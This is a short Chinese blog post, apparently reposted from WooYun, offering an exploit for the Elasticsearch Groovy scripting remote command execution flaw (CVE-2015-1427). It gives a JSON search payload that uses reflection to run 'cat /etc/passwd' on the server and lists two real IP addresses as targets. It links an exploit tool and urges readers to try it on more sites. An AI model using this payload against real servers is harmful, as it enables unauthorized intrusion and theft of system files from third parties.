Elasticsearch Groovy任意命令执行漏洞EXP

感谢：@lupin 的分析（Elasticsearch Groovy 脚本动态执行漏洞分析和poc（CVE-2015-1427）） 
本exp不一定正确，测试的站太少了，大家去测试测试。 
测试url:http://190.196.67.252:9200/_search?pretty 
http://191.234.18.14:9200///_search?pretty 
{"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
is.jpg

 

 

EXP：https://github.com/Svti/ElasticSearchEXP/

 

转载自乌云zone

posted @ 2015-03-06 10:50  injectionbak  阅读(567)  评论(0)  编辑  收藏  举报